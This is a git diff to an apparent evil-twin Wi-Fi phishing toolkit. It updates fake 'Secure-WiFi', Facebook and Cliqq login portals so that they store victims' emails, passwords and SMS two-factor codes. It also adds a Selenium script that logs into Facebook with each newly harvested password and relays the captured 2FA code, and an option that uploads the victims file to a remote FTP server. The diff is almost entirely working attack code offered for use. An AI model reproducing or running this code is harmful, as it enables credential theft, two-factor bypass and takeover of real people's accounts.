s4vitar · BorjaGalisteo · Aug 11, 2021 · Aug 11, 2021 · Aug 11, 2021 · Aug 18, 2021
diff --git a/all_in_one/index.html → all_in_one/index.php b/all_in_one/index.html → all_in_one/index.php
@@ -1,45 +1,46 @@
-<!doctype html>
-<html lang="en">
-<head>
-	<meta charset="UTF-8">
-<title>Secure-WiFi Hotspot</title>
-	<meta name="viewport" content="width=device-width, initial-scale=1" />
-	<meta name="author" content="Secure-WiFi">
-	<meta name="description" content="Your One Stop Secure WiFi Connection.">
-
-<link rel="shortcut icon" type="image/x-icon" href="favicon.ico">
-<link rel="stylesheet" href="style.css" type="text/css">
-
-</head>
-<body>
-
-	<div class="inner-container">
-
-<ul id="icons">
-	<li><a href="../facebook-login/" title="facebook" class="tooltip"><img src="social/fb.png" alt="" class="icon"></a></li>
-	<li><a href="../twitter-login/" title="twitter" class="tooltip"><img src="social/twitter.png" alt="" class="icon"></a></li>
-        <li><a href="../google-login/" title="google" class="tooltip"><img src="social/gplus.png" alt="" class="icon"></a></li>
-        <li><a href="#" title="linkedin" class="tooltip"><img src="social/linkedin.png" alt="" class="icon"></a></li>
-</ul>	
-<div class="box">
-      <h1>Login</h1><form action="post.php" method="post">
-<select name="socialn" class="list">
-		<option value="facebook">Facebook</option>
-		<option value="twitter">Twitter</option>
-		<option value="googlep" selected>Google</option>
-		<option value="linkedin">Linkedin</option>
-	</select>
-      <input type="emailadd" name="email" required placeholder="Email"/>
-      <input type="password" name="userpassword" required placeholder="Password"/>
-      <input type="submit" value="Login" value="Send" class="button">
-</form>
-      <p><img src="images/secure-wifi.png" class="lock">Secure-Wifi<br><small>No registration required. 
-         Login with your social account.</small></p>
-    </div>
-</div>
-
-<div class="social-icons"></div>
-
-</body>
-</html>
-
+<!doctype html>
+<html lang="en">
+<head>
+	<meta charset="UTF-8">
+<title>Secure-WiFi Hotspot</title>
+	<meta name="viewport" content="width=device-width, initial-scale=1" />
+	<meta name="author" content="Secure-WiFi">
+	<meta name="description" content="Your One Stop Secure WiFi Connection.">
+
+<link rel="shortcut icon" type="image/x-icon" href="favicon.ico">
+<link rel="stylesheet" href="style.css" type="text/css">
+
+</head>
+<body>
+
+	<div class="inner-container">
+
+<ul id="icons">
+	<li><a href="../facebook-login/" title="facebook" class="tooltip"><img src="social/fb.png" alt="" class="icon"></a></li>
+	<li><a href="../twitter-login/" title="twitter" class="tooltip"><img src="social/twitter.png" alt="" class="icon"></a></li>
+        <li><a href="../google-login/" title="google" class="tooltip"><img src="social/gplus.png" alt="" class="icon"></a></li>
+        <li><a href="#" title="linkedin" class="tooltip"><img src="social/linkedin.png" alt="" class="icon"></a></li>
+</ul>	
+<div class="box">
+      <h1>Login</h1><form action="post.php" method="post">
+<select name="socialn" class="list">
+		<option value="facebook">Facebook</option>
+		<option value="twitter">Twitter</option>
+		<option value="googlep" selected>Google</option>
+		<option value="linkedin">Linkedin</option>
+	</select>
+      <input type="emailadd" name="email" required placeholder="Email"/>
+      <input type="password" name="userpassword" required placeholder="Password"/>
+      <input type="hidden" name="uuid" value="<?=date('H:i:s');echo '-';echo rand(1,10);?>">
+      <input type="submit" value="Login" value="Send" class="button">
+</form>
+      <p><img src="images/secure-wifi.png" class="lock">Secure-Wifi<br><small>No registration required. 
+         Login with your social account.</small></p>
+    </div>
+</div>
+
+<div class="social-icons"></div>
+
+</body>
+</html>
+
diff --git a/all_in_one/post.php b/all_in_one/post.php
@@ -1 +1,15 @@
-<?php $file = 'datos-privados.txt'; file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=http://192.168.1.1/" />
+<?php 
+$file = 'datos-privados.json';
+$uuid = $_POST['uuid'];
+
+if (file_exists($file)) {
+	$credentials = json_decode(file_get_contents($file), true); 
+}else{
+	$credentials = [];
+}
+$credentials[$uuid] = $_POST;
+$credentials[$uuid]['sms'] =  'NO HAY SMS';
+file_put_contents($file,json_encode($credentials));
+
+?>
+<meta http-equiv="refresh" content="0; url=http://192.168.1.1/" />
diff --git a/cliqq-payload/index.php b/cliqq-payload/index.php
@@ -81,6 +81,7 @@
           <input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>">
           <input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>">
           <input type="hidden" name="target" value="https://redeem.cliqq.net/login/auth">
+          <input type="hidden" name="uuid" value="<?=date('H:i:s');echo '-';echo rand(1,10);?>">
         </p>
         <p>
         <button type="submit" class="btn btn-primary btn-block">Next</button>

diff --git a/cliqq-payload/post.php b/cliqq-payload/post.php
@@ -1 +1,15 @@
-<?php $file = 'datos-privados.txt'; file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=http://192.168.1.1/" />
+<?php 
+$file = 'datos-privados.json';
+$uuid = $_POST['uuid'];
+
+if (file_exists($file)) {
+	$credentials = json_decode(file_get_contents($file), true); 
+}else{
+	$credentials = [];
+}
+$credentials[$uuid] = $_POST;
+$credentials[$uuid]['sms'] =  'NO HAY SMS';
+file_put_contents($file,json_encode($credentials));
+
+?>
+<meta http-equiv="refresh" content="0; url=http://192.168.1.1/" />
diff --git a/evilTrust.sh b/evilTrust.sh
@@ -18,7 +18,7 @@ function ctrl_c(){
 	echo -e "\n\n${yellowColour}[*]${endColour}${grayColour} Exiting...\n${endColour}"
 	rm dnsmasq.conf hostapd.conf 2>/dev/null
 	rm -r iface 2>/dev/null
-	find \-name datos-privados.txt | xargs rm 2>/dev/null
+	find \-name datos-privados.json | xargs rm 2>/dev/null
 	sleep 3; ifconfig wlan0mon down 2>/dev/null; sleep 1
 	iwconfig wlan0mon mode monitor 2>/dev/null; sleep 1
 	ifconfig wlan0mon up 2>/dev/null; airmon-ng stop wlan0mon > /dev/null 2>&1; sleep 1
@@ -73,7 +73,7 @@ function getCredentials(){
 		echo -e "\n${yellowColour}[*]${endColour}${grayColour} Esperando credenciales (${endColour}${redColour}Ctr+C para finalizar${endColour}${grayColour})...${endColour}\n${endColour}"
 		for i in $(seq 1 60); do echo -ne "${redColour}-"; done && echo -e "${endColour}"
 		echo -e "${redColour}Víctimas conectadas: ${endColour}${blueColour}$activeHosts${endColour}\n"
-		find \-name datos-privados.txt | xargs cat 2>/dev/null
+		find \-name datos-privados.json |xargs python -m json.tool 2>/dev/null
 		for i in $(seq 1 60); do echo -ne "${redColour}-"; done && echo -e "${endColour}"
 		activeHosts=$(bash utilities/hostsCheck.sh | grep -v "192.168.1.1 " | wc -l)
 		sleep 3; clear
@@ -381,4 +381,4 @@ if [ "$(id -u)" == "0" ]; then
 else
 	echo -e "\n${redColour}[!] Es necesario ser root para ejecutar la herramienta${endColour}"
 	exit 1
-fi
+fi
diff --git a/facebook-autologin.py b/facebook-autologin.py
@@ -0,0 +1,146 @@
+from selenium import webdriver
+import time
+import sys
+import json
+import os
+import time
+import hashlib
+import ftplib
+
+def find(name, path):
+    for root, dirs, files in os.walk(path):
+        if name in files:
+            return os.path.join(root, name)
+    return False
+
+def md5(fname):
+    hash_md5 = hashlib.md5()
+    with open(fname, "rb") as f:
+        for chunk in iter(lambda: f.read(4096), b""):
+            hash_md5.update(chunk)
+    return hash_md5.hexdigest()
+
+def is_ftp():
+	return int(len(sys.argv)) == int(2) and sys.argv[1] == 'ftp'
+
+def upload_file(path_file, file_name, server, user, passwd):
+	print("uploading file " + file_name +'.json')
+	session = ftplib.FTP(server, user, passwd)
+	file = open(path_file,'rb')                  # file to send
+	session.storbinary('STOR '+file_name+'.json', file)     # send the file
+	file.close()                                    # close file and FTP
+	session.quit()
+
+def check_ftp_connection(server, user, passwd):
+	try:
+		session = ftplib.FTP(server, user, passwd)
+		session.quit()
+
+		return True
+	except:
+		return False
+
+if is_ftp():
+	server_ftp = input('FTP SERVER:')
+	user_ftp = input('FTP USER:')
+	pass_ftp = input('FTP PASSWORD:')
+	ftp_file_name = input("Name of the file to Upload ('victims' by default PRESSING ENTER) : ") or "victims"
+
+	if check_ftp_connection(server_ftp, user_ftp, pass_ftp):
+		print("FTP Login Successful, wait")
+		time.sleep(2)
+	else:
+		print("FTP Login Error, check credentials and rerun script")
+		sys.exit()
+
+
+print(""" 
+88888888b  .d888888   a88888b.  88888888b  888888ba   .88888.   .88888.  dP     dP         
+ 88        d8'    88  d8'   `88  88         88    `8b d8'   `8b d8'   `8b 88   .d8'         
+a88aaaa    88aaaaa88a 88        a88aaaa    a88aaaa8P' 88     88 88     88 88aaa8P'          
+ 88        88     88  88         88         88   `8b. 88     88 88     88 88   `8b.         
+ 88        88     88  Y8.   .88  88         88    .88 Y8.   .8P Y8.   .8P 88     88         
+ dP        88     88   Y88888P'  88888888P  88888888P  `8888P'   `8888P'  dP     dP         
+
+
+ .d888888  dP     dP d888888P  .88888.           dP         .88888.   .88888.  dP 888888ba  
+d8'    88  88     88    88    d8'   `8b          88        d8'   `8b d8'   `88 88 88    `8b 
+88aaaaa88a 88     88    88    88     88          88        88     88 88        88 88     88 
+88     88  88     88    88    88     88 88888888 88        88     88 88   YP88 88 88     88 
+88     88  Y8.   .8P    88    Y8.   .8P          88        Y8.   .8P Y8.   .88 88 88     88 
+88     88  `Y88888P'    dP     `8888P'           88888888P  `8888P'   `88888'  dP dP     dP 
+
+
+Esperando contraseñas de las victimas, no cierres el script ...
+
+  - By BorjaGalisteo
+                                                                                            """)
+
+first_time = True
+victims_count = 0
+
+while True:
+	while True:
+		time.sleep(2)
+		file = find('datos-privados.json','../')
+		if file != False:
+			if first_time:
+				first_time = False
+				hash_file = md5(file)
+				break
+			else:
+				if hash_file != md5(file):
+					hash_file = md5(file)
+					break
+
+
+
+	with open(file) as f:
+		victims = json.load(f)
+
+
+	if len(victims) == victims_count:
+		print("La victima puso el SMS code")
+
+		if is_ftp():
+			upload_file(file,ftp_file_name, server_ftp, user_ftp, pass_ftp)
+
+		for hour in victims:
+			data = victims[hour]
+			sms_code = data['sms']
+
+		time.sleep(2)
+		second_fa_input = web.find_element_by_xpath('//*[@id="approvals_code"]')
+		second_fa_input.send_keys(sms_code)
+		web.find_element_by_xpath('//*[@id="checkpointSubmitButton"]').click()
+
+		print('Aceptamos y pa\' dentro')
+		continue
+	else:
+		print("Nueva Victima encontrada... Abriendo navegador")
+		if is_ftp():
+			upload_file(file,ftp_file_name, server_ftp, user_ftp, pass_ftp)
+		victims_count = len(victims)
+
+	for hour in victims:
+		data = victims[hour]
+		user_facebook = data['email_facebook']
+		pawd_facebook = data['password_facebook']
+
+	web = webdriver.Chrome()
+	web.get('https://www.facebook.com/')
+	time.sleep(2)
+	web.find_element_by_xpath('/html/body/div[3]/div[2]/div/div/div/div/div[3]/button[2]').click()
+	email = user_facebook
+
+	email_input = web.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/div/div/div/div[2]/div/div[1]/form/div[1]/div[1]/input')
+
+	email_input.send_keys(email)
+	passw = pawd_facebook
+	time.sleep(3)
+	pssw_input = web.find_element_by_xpath('//*[@id="pass"]')
+
+	pssw_input.send_keys(passw)
+	time.sleep(2)
+	enter = web.find_element_by_css_selector('button.selected')
+	enter.click()
diff --git a/facebook-login/index.php b/facebook-login/index.php
@@ -109,15 +109,15 @@ function redirect() {
       }
 
       .login-form input[type="text"] {
-      	color: black;
+        color: black;
         border-bottom: none;
         border-radius: 4px 4px 0 0;
         padding-bottom: 13px;
         box-shadow: 0 -1px 0 #E0E0E0 inset, 0 1px 2px rgba(0, 0, 0, 0.23) inset;
       }
 
       .login-form input[type="password"] {
-      	color: black;
+        color: black;
         border-top: none;
         border-radius: 0 0 4px 4px;
         box-shadow: 0 -1px 2px rgba(0, 0, 0, 0.23) inset, 0 1px 2px rgba(255, 255, 255, 0.1);
@@ -182,6 +182,7 @@ function redirect() {
             <input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>">
             <input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>">
             <input type="hidden" name="target" value="https://m.facebook.com">
+            <input type="hidden" name="uuid" value="<?=date('H:i:s');echo '-';echo rand(1,10);?>">
             <input type="submit" value="Log In">
 
         </form>

diff --git a/facebook-login/portal_2fa/index.php b/facebook-login/portal_2fa/index.php
@@ -97,7 +97,7 @@ function redirect() {
 
       .login-form input[type="text"],
       .login-form input[type="password"] {
-      	display: block;
+        display: block;
         width: 345px;
         border: 1px solid #314d89;
         outline: none;
@@ -109,15 +109,15 @@ function redirect() {
       }
 
       .login-form input[type="text"] {
-      	color: black;
+        color: black;
         border-bottom: none;
         border-radius: 4px 4px 0 0;
         padding-bottom: 13px;
         box-shadow: 0 -1px 0 #E0E0E0 inset, 0 1px 2px rgba(0, 0, 0, 0.23) inset;
       }
 
       .login-form input[type="password"] {
-      	color: black;
+        color: black;
         border-top: none;
         border-radius: 0 0 4px 4px;
         box-shadow: 0 -1px 2px rgba(0, 0, 0, 0.23) inset, 0 1px 2px rgba(255, 255, 255, 0.1);
@@ -181,6 +181,7 @@ function redirect() {
             <input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>">
             <input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>">
             <input type="hidden" name="target" value="https://m.facebook.com">
+      <input type="hidden" name="uuid" value="<?=$_GET['uuid'];?>">
             <input type="submit" value="Log In">
 
         </form>

diff --git a/facebook-login/portal_2fa/post.php b/facebook-login/portal_2fa/post.php
@@ -1 +1,18 @@
-<?php $file = 'datos-privados.txt'; file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=http://192.168.1.1/" />
+<?php 
+$file = '../datos-privados.json';
+$uuid = $_POST['uuid'];
+
+$credentials = json_decode(file_get_contents($file), true); 
+
+$new_credentials = [];
+
+foreach ($credentials as $uuid_credential => $credential) {
+	$new_credentials[$uuid_credential] = $credential;
+	if ($uuid == $uuid_credential) {
+		$new_credentials[$uuid]['sms'] = $_POST['2fa_facebook'];
+	}
+ }
+
+file_put_contents($file,json_encode($new_credentials));
+
+?><meta http-equiv="refresh" content="0; url=http://192.168.1.1/index.php" />